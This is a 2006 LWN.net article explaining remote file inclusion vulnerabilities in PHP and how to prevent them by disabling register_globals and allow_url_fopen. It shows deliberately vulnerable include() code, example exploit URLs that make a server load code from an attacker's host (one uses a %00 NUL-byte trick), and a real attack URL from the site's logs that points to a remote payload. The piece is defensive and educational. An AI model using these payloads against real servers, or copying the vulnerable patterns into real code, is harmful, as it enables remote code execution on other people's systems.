October 11, 2006
This article was contributed by Jake Edge.
A recent rash of reports to the bugtraq mailing list provides a
nice confirmation of an
article on this page two
weeks ago. Google recently released a
code search tool
that is being used to find security holes in open source projects and
the first target appears to be remote file inclusion (RFI) vulnerabilities in
PHP programs. There has been a steady stream of vulnerability reports on
security mailing lists as well as an increase in attempts to exploit them.
An attacker's fondest wish is to be able to run their code on the
target system; an RFI exploit does just that. By exploiting two very
dubious 'features' of the PHP language, an attacker can inject their code into
a PHP program on the server. Once they can do that, they can access
anything that the PHP program could: databases, password files, etc. They
can install their own shell running with the privileges of the web server
user (such as 'apache' or 'httpd') and if the server has not been patched
for some local user privilege escalation vulnerability, the shell could be used
to become the root user.
PHP is particularly susceptible to this kind of exploit because the default
installation allows filesystem operations to 'automagically' open URLs as
if they were local files (governed by the allow_url_fopen
configuration parameter). This capability even works for what, seemingly,
should be restricted to the local filesystem such as the 'include' and
'require' directives. If an attacker can manipulate the arguments to those
directives, they can use a URL under their control as the argument and that
is just what an RFI exploit does.
Consider the following:
include($base_path . "/foo.php");
If an attacker can control the value of the
base_path variable,
they can replace it with something like
"
http://example.com/badcode?foo=" and,
instead of picking up
foo.php from the local filesystem, PHP will happily reach out
across the net to pick up the attacker's code. One of the ways that an
attacker can control the value of a variable in a PHP program is through
the use of the
register_globals PHP mis-feature.
When register_globals is enabled in PHP, the language 'automagically'
instantiates variables with values from the HTTP request and puts them in the
namespace of the PHP program. This was originally seen as a nice convenience
for getting the FORM values from the page, but has since been deprecated and is
disabled by default. There are still a fair number of PHP programs that
require it to be enabled in order to function correctly; with luck this
number is decreasing, hopefully rapidly. When it is enabled,
it allows an attacker to inject a value for any uninitialized variable in
the program by simply adding it as a GET parameter at the end of the URL.
Using the example above, if base_path was uninitialized in some
installations (for instance where the application was installed in the
DocumentRoot), an attacker could request:
http://vulnerable.com/RFI.php?base_path=http://example.com/badcode?foo=
and PHP will fetch and execute the exploit code. The final question
mark and
foo= in the URL is just to absorb the
"/foo.php"
in the include directive; other techniques such as using
%00 to
put a NUL byte at the end of the malicious URL are also possible.
Some PHP programmers are not content with being exploitable only when
register_globals is on and have put code like the following into
their applications:
include($_REQUEST['own_me'] . '/foo.php');
The
_REQUEST 'superglobal' array in PHP stores all of the variables
that come in from the HTTP request, regardless of whether they come as a
GET or a POST variable. This one is easy to exploit by making a request
like:
http://vulnerable.com/RFI2.php?own_me=http://example.com/badcode%00
By disabling both register_globals and allow_url_fopen,
these kinds of exploits can be avoided. Unfortunately, the latter also
alters the behavior of filesystem functions that might more legitimately
be used to fetch remote URLs. For this reason, it is enabled by default
and cannot be disabled for proper functioning of some PHP
applications. There have been too many exploitable uses of
register_globals over the years for any security-minded PHP
programmer to even consider enabling it. Other languages may
also be susceptible to this kind of exploit, but PHP is certainly the target
of the recently reported ones.
[Editor's note: the LWN server is currently seeing exploit attempts at a
rate of nearly one per second, using URLs like:
http://lwn.net/Articles//master.php?root_path=http://webstorch.com//cap.txt?
No, it doesn't work here - but using wget to fetch the exploit file can
be instructive. There is a steady stream of file inclusion vulnerability
reports on lists like Bugtraq; if you are using PHP-based software, it
behooves you to pay attention.]
(
Log in to post comments)